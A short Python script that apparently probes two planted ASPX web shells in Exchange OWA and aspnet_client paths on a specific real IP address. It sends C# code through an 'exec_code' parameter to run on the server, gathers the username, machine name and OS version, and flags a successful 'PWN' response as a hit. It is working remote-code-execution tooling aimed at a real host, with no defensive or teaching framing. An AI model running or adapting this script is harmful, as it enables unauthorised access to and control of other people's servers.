#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
URLS = ["https://77.235.19.138/owa/auth/ymmuuk.aspx",
        "https://77.235.19.138/aspnet_client/qwjngt.aspx"]
code = 'Response.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);'
for u in URLS:
    for attempt in range(3):
        try:
            f = requests.post(u, headers={'Content-Type':'application/x-www-form-urlencoded'},
                              params={"exec_code":code}, verify=False, timeout=25)
            print(f"[{u}] try{attempt} code={f.status_code} head={f.text[:140]!r}", flush=True)
            if f.status_code==200 and 'PWN|' in f.text:
                print("   >>> HIT", flush=True)
            break
        except Exception as e:
            print(f"[{u}] try{attempt} err {type(e).__name__} {str(e)[:90]}", flush=True)